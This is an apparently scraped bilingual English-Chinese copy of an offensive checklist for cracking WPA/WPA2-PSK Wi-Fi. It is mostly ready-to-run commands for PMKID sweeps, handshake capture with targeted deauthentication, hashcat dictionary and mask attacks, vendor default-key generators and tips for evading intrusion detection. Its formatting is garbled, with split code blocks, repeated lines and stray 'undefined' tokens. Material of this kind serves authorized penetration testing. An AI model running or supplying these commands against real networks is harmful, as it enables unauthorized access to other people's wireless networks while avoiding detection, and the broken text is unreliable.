WPA/WPA2-PSK Attacks

WPA/WPA2-PSK 攻击

The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).

几乎所有消费者和 SMB Wi-Fi 网络都采用这种默认模式。四次握手中的 PMKID 和 EAPOL 帧提供了离线破解所需的一切——无需在线尝试，不会触发锁定机制，除 deauth 外也不会产生检测信号（而使用 PMKID 可以避免 deauth）。

Quick Workflow

快速工作流

Identify the target BSSID, channel, and encryption (see
```
offensive-wifi-recon
```
)
Try PMKID first (fast, no client interaction)
Fall back to four-way handshake capture if PMKID isn't yielded
Convert capture to hashcat-compatible format
Crack offline with appropriate wordlist + rules + masks

确定目标 BSSID、信道和加密方式（参见
```
offensive-wifi-recon
```
）
优先尝试 PMKID（速度快，无需客户端交互）
如果未获取到 PMKID，则回退到四次握手捕获
将捕获数据转换为 hashcat 兼容格式
使用合适的字典 + 规则 + 掩码进行离线破解

PMKID Attack (Preferred When Possible)

PMKID 攻击（尽可能优先采用）

The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed.

bash

undefined

PMKID 包含在四次握手的第一条消息中。许多 AP 会响应单次 association 请求而泄露 PMKID——无需真实客户端。

bash

undefined

Setup

sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US

Sweep PMKIDs across all visible APs

sudo hcxdumptool -i wlan0mon -o pmkid.pcapng
--enable_status=1
--filterlist_ap=targets.txt --filtermode=2

Convert to hashcat format

hcxpcapngtool -o hash.hc22000 pmkid.pcapng


`targets.txt` contains BSSIDs (one per line) you're authorized to attack.

If `hash.hc22000` is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.

hcxpcapngtool -o hash.hc22000 pmkid.pcapng


`targets.txt` 包含你已获得授权进行测试的 BSSID（每行一个）。

如果 `hash.hc22000` 为空，说明该 AP 不会返回 PMKID。改用四次握手。

Four-Way Handshake Capture

四次握手捕获

bash

undefined

bash

undefined

Pin to channel

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon


If a client is associated:

```bash

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon


如果客户端已关联：

```bash

Targeted deauth (single client, low volume)

sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon


The handshake will appear in airodump's top-right corner as `WPA handshake: AA:BB:CC:DD:EE:FF`.

**Why one client at a time:** broadcast deauth (no `-c`) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.

sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon


握手结果会显示在 airodump 右上角，格式为 `WPA handshake: AA:BB:CC:DD:EE:FF`。

**为何每次只处理一个客户端：**广播式 deauth（不使用 `-c`）会很快触发 WIDS，而且更容易被发现。针对单个 MAC 发送一次包含 5 个帧的 deauth 突发请求即已足够。

Verifying the Capture

验证捕获结果

bash

hcxpcapngtool -o hash.hc22000 handshake-01.cap

bash

hcxpcapngtool -o hash.hc22000 handshake-01.cap

Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines


If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.


如果工具报告了 M1/M2 对，但没有有效的 EAPOL 认证，请重新捕获。损坏或不完整的握手将无法破解。

Cracking

破解

Dictionary + Rules

字典 + 规则

bash

hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule

Useful wordlists:

```
rockyou.txt
```
(classic)
```
weakpass_3
```
/
```
weakpass_4
```
(huge breach corpus)
```
crackstation.txt
```
Targeted: company name, products, locations

bash

hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule

常用字典：

```
rockyou.txt
```
（经典）
```
weakpass_3
```
/
```
weakpass_4
```
（大型泄露数据集）
```
crackstation.txt
```
定向字典：公司名称、产品、地点

Mask Attacks for Common Default Patterns

常见默认模式的掩码攻击

bash

undefined

bash

undefined

10 digits (common ISP default — UPC, Vodafone, etc.)

hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

8 digits (D-Link, ZTE)

hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

8 hex (some Belkin / Linksys)

hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h

Phone number patterns

hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d

undefined

hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d

undefined

Vendor Default Generators

厂商默认 PSK 生成器

Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms:

bash

undefined

一些 ISP 路由器会利用已知算法，根据 SSID 前缀 + 序列号后缀推导出 PSK：

bash

undefined

UPC-XXXXXXX → upc_keys generates candidate keys

upc_keys ESSID | hashcat -m 22000 hash.hc22000 -

Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen

Check vendor-specific tools per router brand

undefined

undefined

802.11r FT Cracking

802.11r FT 破解

If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format.

如果启用了 802.11r（Fast Transition），AP 到 AP 的密钥传输可在有线侧捕获，或在漫游期间于空中观测到。PMK 推导过程提供了另一条破解路径，同样使用 hc22000 格式。

Tuning Cracking Performance

调优破解性能

bash

undefined

bash

undefined

Show recommended workload tuning per GPU

hashcat -b -m 22000

Distributed cracking via hashtopolis or naive split

hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000 hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000

undefined

hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000 hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000

undefined

Opportunistic Key Cache (OKC)

机会性密钥缓存（OKC）

When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam — bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air.

启用 OKC 时（在 WPA2-Enterprise 中也很常见），AP 会缓存上一次成功 association 得到的 PMK，并在漫游时复用，从而跳过完整握手。从攻击者视角来看，OKC 握手中仍包含相同的可恢复 PMK 材料；主要影响是您在空中观测到的 M1/M2 对会更少。

Detection Considerations

检测注意事项

Signal	Defender View
Deauth burst	WIDS rule: >N deauth/sec with malformed reason codes
PMKID flood (hcxdumptool default sends many association requests)	WIDS rule: rapid associations from a single MAC
Monitor-mode interface	Some enterprise WIDS deployments fingerprint adjacent monitor radios

To minimize: PMKID with

--filtermode=2

(only target your authorized list), single targeted deauth bursts, randomize source MAC between captures.

信号	防御方视角
deauth 突发请求	WIDS 规则：每秒 deauth 数量 >N，且 reason code 格式异常
PMKID 洪泛（hcxdumptool 默认会发送大量 association 请求）	WIDS 规则：单个 MAC 快速发起 association
monitor 模式接口	部分企业级 WIDS 部署会对附近使用 monitor 模式的无线电设备进行指纹识别

为尽量降低被检测的可能：使用带

--filtermode=2

的 PMKID（仅针对授权清单中的目标）、执行单次定向 deauth 突发请求，并在每次捕获之间随机更换源 MAC。

Engagement Cheatsheet

安全测试速查表

bash

undefined

bash

undefined

1. Setup

sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US

2. PMKID sweep first

echo "AA:BB:CC:DD:EE:FF" > targets.txt sudo hcxdumptool -i wlan0mon -o pmkid.pcapng
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2

3. Convert + try crack

hcxpcapngtool -o hash.hc22000 pmkid.pcapng hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule

4. If empty PMKID, do four-way capture

sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon & sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon

5. Convert + crack

hcxpcapngtool -o hash.hc22000 cap-01.cap hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule

6. Mask attacks if dictionary fails

hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

---

hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

---

Key References

关键参考资料

hashcat docs (mode 22000): hashcat.net/wiki/doku.php?id=cracking_wpawpa2
hcxtools: github.com/ZerBea/hcxtools
ZerBea PMKID research (original 2018 disclosure)
802.11i-2004 (WPA2 spec)
Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

hashcat 文档（mode 22000）：hashcat.net/wiki/doku.php?id=cracking_wpawpa2
hcxtools：github.com/ZerBea/hcxtools
ZerBea PMKID 研究（2018 年首次披露）
802.11i-2004（WPA2 规范）
来源：https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

offensive-wpa2-psk

Original

Translation

WPA/WPA2-PSK Attacks

WPA/WPA2-PSK 攻击

Quick Workflow

快速工作流

PMKID Attack (Preferred When Possible)

PMKID 攻击（尽可能优先采用）

Setup

Setup

Sweep PMKIDs across all visible APs

Sweep PMKIDs across all visible APs

Convert to hashcat format

Convert to hashcat format

Four-Way Handshake Capture

四次握手捕获

Pin to channel

Pin to channel

Targeted deauth (single client, low volume)

Targeted deauth (single client, low volume)

Verifying the Capture

验证捕获结果

Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines

Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines

Cracking

破解

Dictionary + Rules

字典 + 规则

Mask Attacks for Common Default Patterns

常见默认模式的掩码攻击

10 digits (common ISP default — UPC, Vodafone, etc.)

10 digits (common ISP default — UPC, Vodafone, etc.)

8 digits (D-Link, ZTE)

8 digits (D-Link, ZTE)

8 hex (some Belkin / Linksys)

8 hex (some Belkin / Linksys)

Phone number patterns

Phone number patterns

Vendor Default Generators

厂商默认 PSK 生成器

UPC-XXXXXXX → upc_keys generates candidate keys

UPC-XXXXXXX → upc_keys generates candidate keys

Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen

Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen

Check vendor-specific tools per router brand

Check vendor-specific tools per router brand

802.11r FT Cracking

802.11r FT 破解

Tuning Cracking Performance

调优破解性能

Show recommended workload tuning per GPU

Show recommended workload tuning per GPU

Distributed cracking via hashtopolis or naive split

Distributed cracking via hashtopolis or naive split

Opportunistic Key Cache (OKC)

机会性密钥缓存（OKC）

Detection Considerations

检测注意事项

Engagement Cheatsheet

安全测试速查表

1. Setup

1. Setup

2. PMKID sweep first

2. PMKID sweep first

3. Convert + try crack

3. Convert + try crack

4. If empty PMKID, do four-way capture

4. If empty PMKID, do four-way capture

5. Convert + crack

5. Convert + crack

6. Mask attacks if dictionary fails

6. Mask attacks if dictionary fails

Key References

关键参考资料